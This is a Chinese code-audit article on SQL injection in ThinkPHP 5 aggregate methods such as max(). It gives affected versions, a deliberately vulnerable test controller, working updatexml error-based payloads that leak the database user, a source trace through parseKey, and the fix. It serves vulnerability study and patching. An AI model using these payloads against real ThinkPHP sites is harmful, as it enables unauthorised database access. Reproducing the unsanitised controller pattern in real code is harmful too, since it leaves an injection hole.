热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ThinkPHP5代码审计【聚合函数引起的SQL注入】

文章目录简介环境搭建分析payload修复简介Mysql聚合函数相关方法均存在注入本次漏洞存在于所有Mysql聚合函数相关方法。由于程序没有对数据进行很好的过滤,直

文章目录

        • 简介
        • 环境搭建
        • 分析
        • payload
        • 修复


简介

Mysql 聚合函数相关方法均存在注入

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本&#xff1a; 5.0.0<&#61;ThinkPHP<&#61;5.0.21 、 5.1.3<&#61;ThinkPHP5<&#61;5.1.25 。

Payload IN &#xff1a;5.0.0~5.0.21 、 5.1.3&#xff5e;5.1.10

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

Payload IN &#xff1a;5.1.11&#xff5e;5.1.25

id&#96;)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

环境搭建

composer下载源码&#xff1a;

composer create-project --prefer-dist topthink/think&#61;5.1.25 thinkphp_5.1.25

配置 application/index/controller/Index.php为以下代码&#xff1a;


namespace app\index\controller;class Index
{public function index(){$options &#61; request()->get(&#39;options&#39;);$result &#61; db(&#39;users&#39;)->max($options);var_dump($result);}
}

配置composer.json&#xff1a;
在这里插入图片描述
在config/database.php下配置数据库
在这里插入图片描述
在config/app.php开启调试
在这里插入图片描述
然后去GitHub上下载thinkphp目录并将其代替我们composer下载的thinkphp目录&#xff0c;下载地址&#xff1a;
https://github.com/top-think/framework/archive/refs/tags/v5.1.25.zip

分析

正常地传入id&#xff0c;即MAX(&#96;id&#96;)了&#xff0c;看到确实会返回正确的值&#xff1a;

在这里插入图片描述
尝试闭合一下MAX(&#96;id&#96;)&#xff0c;加一个反引号、一个括号、一个报错语句、一个注释符&#xff0c;发现我们的请求没有被拦截而直接成功触发SQL注入了&#xff1a;

payload

?options&#61;id&#96;) and updatexml(1,concat(0x7e,user(),0x7e),1)from users%23

在这里插入图片描述


分析一下其中的原因&#xff1a;
前面的不讲了&#xff0c;直接看max()方法&#xff0c;会调用aggregate()方法
在这里插入图片描述
Connection类下的aggregate()方法&#xff1a;先经过了一个拼接&#xff0c;然后会进入value()方法
在这里插入图片描述
经过一个拼接得到的$field&#61;

MAX(&#96;id&#96;) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#&#96;) AS tp_max

然后看value()&#xff0c;其中最重要的就是生成SQL语句处&#xff1a;
在这里插入图片描述
Builder类下的select方法&#xff1a;重点看对字段的处理&#xff0c;也就是重点看$this->parseField($query, $options[&#39;field&#39;]),
在这里插入图片描述
这个parseField方法主要执行下面这些代码&#xff1a;

protected function parseField(Query $query, $fields)
{.......foreach ($fields as $key &#61;> $field) {else {$array[] &#61; $this->parseKey($query, $field);}}......$fieldsStr &#61; implode(&#39;,&#39;, $array);return $fieldsStr;

$field数组的值逐个传入parseKey中检查&#xff0c;然后再往$array中添加值&#xff0c;$array数组以逗号合并起来&#xff0c;得到$fieldStr
在这里插入图片描述
上述的parsekey方法来自Mysql类下的parsekey方法&#xff0c;会对字段名进行检查&#xff0c;其中有一处不满足正则就加反引号的代码&#xff0c;不过这对我们的上面$fields数组中的值没有影响&#xff0c;因为都不满足那个正则
在这里插入图片描述

所以最终$fieldsStr的值为

MAX(&#96;id&#96;) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#&#96;) AS tp_max

从而得到SQL语句&#xff1a;

SELECT MAX(&#96;id&#96;) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#&#96;) AS tp_max FROM &#96;users&#96; LIMIT 1

到这儿就大致完成了&#xff0c;可以看见SQL语句就是我们想要的

可以看到关键是Mysql类下对字段名检查的parseKey()方法 没有严格过滤导致我们的语句能组成起来



七月火师傅的攻击流程图
在这里插入图片描述

修复

在Mysql类parseKey()方法中&#xff0c;添加一段过滤代码&#xff0c;不允许出现除了 字母、点号、星号 以外的字符时&#xff0c;否则就抛出异常。

在这里插入图片描述


推荐阅读
  • 本文讨论了如何在codeigniter中识别来自angularjs的请求,并提供了两种方法的代码示例。作者尝试了$this->input->is_ajax_request()和自定义函数is_ajax(),但都没有成功。最后,作者展示了一个ajax请求的示例代码。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 本文讨论了在ASP中创建RazorFunctions.cshtml文件时出现的问题,即ASP.global_asax不存在于命名空间ASP中。文章提供了解决该问题的代码示例,并详细解释了代码中涉及的关键概念,如HttpContext、Request和RouteData等。通过阅读本文,读者可以了解如何解决该问题并理解相关的ASP概念。 ... [详细]
  • 本文介绍了一个Magento模块,其主要功能是实现前台用户利用表单给管理员发送邮件。通过阅读该模块的代码,可以了解到一些有关Magento的细节,例如如何获取系统标签id、如何使用Magento默认的提示信息以及如何使用smtp服务等。文章还提到了安装SMTP Pro插件的方法,并给出了前台页面的代码示例。 ... [详细]
  • 本文介绍了[从头学数学]中第101节关于比例的相关问题的研究和修炼过程。主要内容包括[机器小伟]和[工程师阿伟]一起研究比例的相关问题,并给出了一个求比例的函数scale的实现。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 深入理解Kafka服务端请求队列中请求的处理
    本文深入分析了Kafka服务端请求队列中请求的处理过程,详细介绍了请求的封装和放入请求队列的过程,以及处理请求的线程池的创建和容量设置。通过场景分析、图示说明和源码分析,帮助读者更好地理解Kafka服务端的工作原理。 ... [详细]
  • Imtryingtofigureoutawaytogeneratetorrentfilesfromabucket,usingtheAWSSDKforGo.我正 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • 本文介绍了在go语言中利用(*interface{})(nil)传递参数类型的原理及应用。通过分析Martini框架中的injector类型的声明,解释了values映射表的作用以及parent Injector的含义。同时,讨论了该技术在实际开发中的应用场景。 ... [详细]
author-avatar
robioven
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有